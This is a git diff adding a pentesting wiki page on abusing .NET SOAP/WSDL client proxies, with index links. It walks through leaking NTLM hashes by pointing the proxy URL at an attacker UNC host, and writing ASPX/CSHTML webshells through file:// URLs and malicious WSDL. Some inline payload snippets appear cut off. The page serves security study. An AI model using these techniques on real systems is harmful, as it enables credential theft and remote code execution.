diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 8dbee3d44c5..62523cbe2d4 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -439,6 +439,7 @@ - [Firebase Database](network-services-pentesting/pentesting-web/buckets/firebase-database.md) - [CGI](network-services-pentesting/pentesting-web/cgi.md) - [Django](network-services-pentesting/pentesting-web/django.md) + - [Dotnet Soap Wsdl Client Exploitation](network-services-pentesting/pentesting-web/dotnet-soap-wsdl-client-exploitation.md) - [DotNetNuke (DNN)](network-services-pentesting/pentesting-web/dotnetnuke-dnn.md) - [Drupal](network-services-pentesting/pentesting-web/drupal/README.md) - [Drupal RCE](network-services-pentesting/pentesting-web/drupal/drupal-rce.md) diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index 674bafdffd0..1e657339f96 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -76,6 +76,7 @@ Some **tricks** for **finding vulnerabilities** in different well known **techno - [**Artifactory**](artifactory-hacking-guide.md) - [**Buckets**](buckets/index.html) - [**CGI**](cgi.md) +- [**Dotnet SOAP WSDL client exploitation**](dotnet-soap-wsdl-client-exploitation.md) - [**Drupal**](drupal/index.html) - [**Flask**](flask.md) - [**Fortinet FortiWeb**](fortinet-fortiweb.md) @@ -435,4 +436,4 @@ Entry_12: -{{#include ../../banners/hacktricks-training.md}} \ No newline at end of file +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/dotnet-soap-wsdl-client-exploitation.md b/src/network-services-pentesting/pentesting-web/dotnet-soap-wsdl-client-exploitation.md new file mode 100644 index 00000000000..19f0946dddc --- /dev/null +++ b/src/network-services-pentesting/pentesting-web/dotnet-soap-wsdl-client-exploitation.md @@ -0,0 +1,108 @@ +# .NET SOAP/WSDL Client Proxy Abuse + +{{#include ../../banners/hacktricks-training.md}} + +## TL;DR + +- `SoapHttpClientProtocol`, `DiscoveryClientProtocol` and friends inherit from `HttpWebClientProtocol`, whose `GetWebRequest()` returns the scheme-agnostic `WebRequest` instance produced by `WebRequest.Create()` without enforcing `HttpWebRequest`. +- If an attacker controls the proxy `Url`, the framework silently swaps in `FileWebRequest`, `FtpWebRequest` or UNC/SMB handlers, turning "HTTP" proxies into NTLM leak gadgets or arbitrary file writers. +- Any feature that imports attacker-supplied WSDL with `ServiceDescriptionImporter` compounds the bug: the WSDL controls the generated proxy constructor, SOAP methods, complex types and namespaces, enabling pre-auth RCE (webshells, script drops) in products such as Barracuda Service Center RMM, Ivanti EPM, Umbraco 8, PowerShell and SSIS. + +## Root cause: HttpWebClientProtocol is scheme-agnostic + +`WebClientProtocol.GetWebRequest()` does `var req = WebRequest.Create(uri)` and returns it untouched. `HttpWebClientProtocol.GetWebRequest()` tries `req as HttpWebRequest` to set HTTP-only fields, but it **still returns the original `req`** even when the cast fails. Therefore the runtime obeys whatever scheme is present in `Url`: + +- `http(s)://` → `HttpWebRequest` +- `file:///` or `\\host\share\` → `FileWebRequest` +- `ftp://` → `FtpWebRequest` + +`SoapHttpClientProtocol.Invoke()` then streams the SOAP POST body through whatever transport handler was selected, even if that means writing to disk or over SMB. + +## Primitive 1 – NTLM capture / relay via UNC targets + +1. Gain control over `SoapHttpClientProtocol.Url` (direct setter, config value, database row, etc.). +2. Point it to a UNC path like `file://attacker.local/sink/payload`. +3. The CLR opens the path via SMB and performs integrated authentication, leaking NTLM challenge/response to the attacker. +4. Use captured hashes for offline cracking or NTLM relay (SMB/HTTP) if signing/EPA are absent. + +This applies to **any** .NET SOAP/HTTP proxy path that accepts user input, even if no further exploitation is possible. + +## Primitive 2 – Arbitrary file writes via `file://` + +1. Set `Url = "file:///inetpub/wwwroot/poc.aspx"` (or any writable path) before the proxy call. +2. Invoke any SOAP method; the framework writes the entire SOAP envelope to the chosen path, overwriting existing files. +3. User-controlled arguments appear inside XML elements, letting attackers drop CSHTML/ASPX payloads or poison config files. + +Limitations: + +- Content is always XML; scalar fields are entity-encoded, so injecting ` + ``` + and point `Url` to `file:///.../webroot/shell.aspx` to gain RCE. +- **Namespace injection**: Even when arguments are hard-coded (e.g., Umbraco Forms), namespaces declared in the WSDL (e.g., `xmlns:tns="http://host/service?x=@{...}"`) are copied verbatim into the SOAP envelope. Encoding payloads inside the namespace query string enables CSHTML Razor or PowerShell script drops without parameter control. + +These techniques powered the Barracuda Service Center RMM (CVE-2025-34392) exploit: an unauthenticated SOAP call supplied a malicious WSDL, set `soap12:address` to `file:///Program Files/.../SCMessaging/poc.aspx`, injected `